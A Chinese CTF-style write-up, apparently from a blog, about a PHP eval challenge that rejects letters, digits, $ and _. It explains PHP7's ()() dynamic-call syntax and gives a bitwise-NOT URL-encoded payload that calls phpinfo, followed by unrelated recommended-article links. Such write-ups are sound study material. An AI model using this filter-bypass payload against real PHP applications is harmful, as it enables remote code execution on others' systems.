RCE - - 无字母数字远程命令执行

题目源码

cpp 复制代码
<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

分析

这道题 code 接get传参,完了对传进来的内容进行正则匹配,通过观察还可以看出这道题有两个限制:

  1. webshell长度不超过35位

  2. 除了不包含字母数字,还不能包含$_

所以我们有关$和_的方式都无法实现了

php7解法

在PHP7中就不是非常困难,因为PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了()()这种形式的命令执行

<?php

(phpinfo())();

那么这道题就可以用这样的方式来做,但是还是会出现字母,我们就会想到编码,get传参使用urlcode编码,但是这种编码对只会对符号进行编码,字母并不在它的编码范围里,这是我们想到取反操作,得到:

(~%8F%97%8F%96%91%99%90)();

执行成功,我们只用把里面要去反的函数的反码进行更换即可。但是,这种方法只适用于php版本在7以上,低版本并不支持这种形式。

相关推荐
lightqjx2 分钟前
【前端】前端学习二之CSS
前端·css·学习·html
IT东2 分钟前
Vue 多环境部署全解析:解决测试与生产一致性难题
前端·javascript·vue.js
想不明白的过度思考者6 分钟前
SpringAOP:Java 三大代理模式:从静态代理到 JDK & CGLIB 动态代理
java·开发语言·代理模式
of Watermelon League6 分钟前
Redis 通用命令
前端·redis·bootstrap
chxii7 分钟前
配置Nginx 的 Keepalive 提升每秒查询率(QPS)
前端·nginx
yaoyouzhong7 分钟前
MySQL中DROP、TRUNCATE和DELETE
java
Meepo_haha7 分钟前
Spring boot 3.3.1 官方文档 中文
java·数据库·spring boot
xnkyn8 分钟前
frp内网穿透https访问本地服务,frpee客户端https教程
前端·后端·网络协议·http·https
__土块__10 分钟前
一次 Spring 循环依赖源码走读:从三级缓存误用到 Bean 生命周期深度解析
java·spring·源码分析·aop·bean生命周期·循环依赖·三级缓存
妙蛙种子31110 分钟前
【Java设计模式 | 创建者模式】单例模式
java·开发语言·后端·单例模式·设计模式